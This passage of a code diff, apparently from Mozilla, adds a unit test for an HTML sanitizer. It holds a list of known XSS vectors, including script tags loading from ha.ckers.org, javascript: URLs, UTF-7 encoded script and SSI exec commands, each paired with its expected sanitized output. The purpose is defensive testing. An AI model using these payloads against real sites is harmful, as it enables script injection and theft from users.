+ "data": "<BASE HREF=\"javascript:alert('XSS');//\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "getURL(\"javascript:alert('XSS')\")",
+ "sanitized": "<html><head></head><body>getURL(\"javascript:alert('XSS')\")</body></html>"
+ },
+ {
+ "data": "a=\"get\";",
+ "sanitized": "<html><head></head><body>a=\"get\";</body></html>"
+ },
+ {
+ "data": "<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<XML SRC=\"http://ha.ckers.org/xsstest.xml\" ID=I></XML>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<HTML><BODY>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<!--#exec cmd=\"/bin/echo '<SCRIPT SRC'\"--><!--#exec cmd=\"/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'\"-->",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<? echo('<SCR)';",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-",
+ "sanitized": "<html><head> </head><body>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</body></html>"
+ },
+ {
+ "data": "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC",
+ "sanitized": "<html><head></head><body>PT SRC</body></html>"
+ },
+ {
+ "data": "",
+ "sanitized": "<html><head></head><body></body></html>"
+ }
+]
diff --git a/parser/xml/test/unit/test_sanitizer.js b/parser/xml/test/unit/test_sanitizer.js
new file mode 100644
index 000000000..b8aaa1e08
--- /dev/null
+++ b/parser/xml/test/unit/test_sanitizer.js
@@ -0,0 +1,21 @@
+function run_test() {
+ var Ci = Components.interfaces;
+ var Cc = Components.classes;
+
+ // vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
+ load("results.js"); // gives us a `vectors' array
+
+ var ParserUtils = Cc["@mozilla.org/parserutils;1"].getService(Ci.nsIParserUtils);
+ var sanitizeFlags = ParserUtils.SanitizerCidEmbedsOnly|ParserUtils.SanitizerDropForms|ParserUtils.SanitizerDropNonCSSPresentation;
+ // flags according to
+ // http://mxr.mozilla.org/comm-central/source/mailnews/mime/src/mimemoz2.cpp#2218
+ // and default settings
+
+
+ for (var item in vectors) {
+ var evil = vectors[item].data;
+ var sanitized = vectors[item].sanitized;
+ var out = ParserUtils.sanitize(evil, sanitizeFlags);
+ do_check_eq(sanitized, out);
+ }
+}
diff --git a/parser/xml/test/unit/xpcshell.ini b/parser/xml/test/unit/xpcshell.ini
index b94fd6f3a..638f0527a 100644
--- a/parser/xml/test/unit/xpcshell.ini
+++ b/parser/xml/test/unit/xpcshell.ini
@@ -1,7 +1,10 @@
[DEFAULT]
-head =
-tail =
+head =
+tail =
+skip-if = toolkit == 'gonk'
+support-files = results.js
[test_parser.js]
[test_namespace_support.js]
[test_xml_declaration.js]
+[test_sanitizer.js]